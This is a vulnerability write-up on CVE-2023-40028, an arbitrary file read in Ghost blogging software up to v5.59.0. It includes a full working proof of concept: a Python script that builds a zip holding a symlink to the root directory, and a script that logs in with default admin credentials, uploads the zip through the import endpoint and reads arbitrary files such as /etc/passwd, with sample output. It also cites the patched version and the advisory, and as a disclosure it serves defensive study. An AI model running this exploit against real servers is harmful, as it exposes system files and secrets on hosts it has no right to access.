{%hackmd hackmd-dark-theme %}
# Ghost ≤ v5.59.0 Arbitrary File Read (CVE-2023-40028)
A vulnerability in Ghost allows authenticated users to upload files which are symlinks. This can be exploited to perform an arbitrary file read of any file on the operating system.
## Overview
[Ghost](https://github.com/TryGhost/Ghost) relies on **extract-zip** for handling zip files, **extract-zip** does not deny symlinks (as a matter of fact it welcomes symlinks), an attacker can craft a malicious zip file containing a symlink to any file (i.e: / ) in **content/images/test.png**, upon visiting that file, its possible then to browser the file system (with the privileges as the current user).
```js
# https://github.com/maxogden/extract-zip/blob/master/index.js#L127C1-L134C4
... snip
if (symlink) {
const link = await getStream(readStream)
debug('creating symlink', link, dest)
await fs.symlink(link, dest)
} else {
await pipeline(readStream, createWriteStream(dest, { mode: procMode }))
}
}
... snip
```
## PoC
A specially crafted malicious zip would look like this:
```python
import stat # since zipfile doesn't support symlinks by default
import zipfile
def create_zip_with_symlinks(output_zip_filename, symlink_details):
zipOut = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
for link_source, link_target in symlink_details:
zipInfo = zipfile.ZipInfo(link_source)
zipInfo.create_system = 3
unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
zipInfo.external_attr = unix_st_mode << 16
zipOut.writestr(zipInfo, link_target)
zipOut.close()
symlink_details = [
('content/images/malicious.jpg', '/')
]
create_zip_with_symlinks('spl0it.zip', symlink_details)
```
What this is doing is basically creating the directories that are expected from Ghost, and using **malicious.jpg** to actually represent the filesystem.
## Browsing the Filesystem
Once this zip file is uploaded, it is possible then to employ **malicious.jpg** in order to browse the filesystem (i.e: **content/images/malicious.jpg/etc/passwd**).
```python
import requests
import time
url_login = "http://localhost/ghost/api/admin/session"
url_upload = "http://localhost/ghost/api/admin/db"
# default admin creds of the bintami container
#curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/ghost/docker-compose.yml > docker-compose.yml
#docker-compose up -d
login_data = {
"username": "user@example.com",
"password": "bitnami123"
}
upload_files = {
"importfile": ("spl0it.zip", open("spl0it.zip", "rb").read(), "application/zip")
}
with requests.Session() as session:
# Login request
login_response = session.post(url_login, json=login_data,proxies={"http":"http://127.0.0.1:8080"}) # get an admin session
print(login_response.text)
# Upload request using the same session
upload_response = session.post(url_upload, files=upload_files,proxies={"http":"http://127.0.0.1:8080"}) # upload malicious zip
print(upload_response.text)
## now that everthing is done, we use that file as trigger point
time.sleep(1)
while 1:
filename = input("> ") # i.e: /etc/passwd
r = requests.get(f"http://localhost/content/images/malicious.jpg/{filename}") # use malicious.jpg to read local files
print(r.text)
```
Executing this would provide the ability to browse the filesystem
```bash
> /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
....
```
## The Out-Of-Bound Write?
The **extract-zip** library incorporates a specific safeguard to counter malicious extraction paths as seen in the code excerpt:
```js
# https://github.com/maxogden/extract-zip/blob/master/index.js#L56C1-L64C1
... snip
const destDir = path.dirname(path.join(this.opts.dir, entry.fileName))
try {
await fs.mkdir(destDir, { recursive: true })
const canonicalDestDir = await fs.realpath(destDir)
const relativeDestDir = path.relative(this.opts.dir, canonicalDestDir)
if (relativeDestDir.split(path.sep).includes('..')) {
throw new Error(`Out of bound path "${canonicalDestDir}" found while processing file ${entry.fileName}`)
}
... snip
```
The above code snippet is designed to securely extract a file from a zip archive. It ensures that no file is extracted outside of the intended base directory, thereby guarding against Zip Slip vulnerabilities.
Furthermore, it's notable that the zip extraction process also triggers this safeguard due to the uploads being stored in the /tmp directory. This behavior can be observed in the import-manager.js script:
```js
... snip
# https://github.com/TryGhost/Ghost/blob/main/ghost/core/core/server/data/importer/import-manager.js#L222
async extractZip(filePath) {
const tmpDir = path.join(os.tmpdir(), uuid.v4());
this.fileToDelete = tmpDir;
try {
await extract(filePath, tmpDir);
} catch (err) {
... snip
```
This further enhances the security by limiting the extraction to a temporary directory, mitigating potential threats even more.
## Patch
v5.59.1 contains a fix for this issue.
## References
https://github.com/TryGhost/Ghost/security/advisories/GHSA-9c9v-w225-v5rg
https://github.com/TryGhost/Ghost/commit/690fbf3f7302ff3f77159c0795928bdd20f41205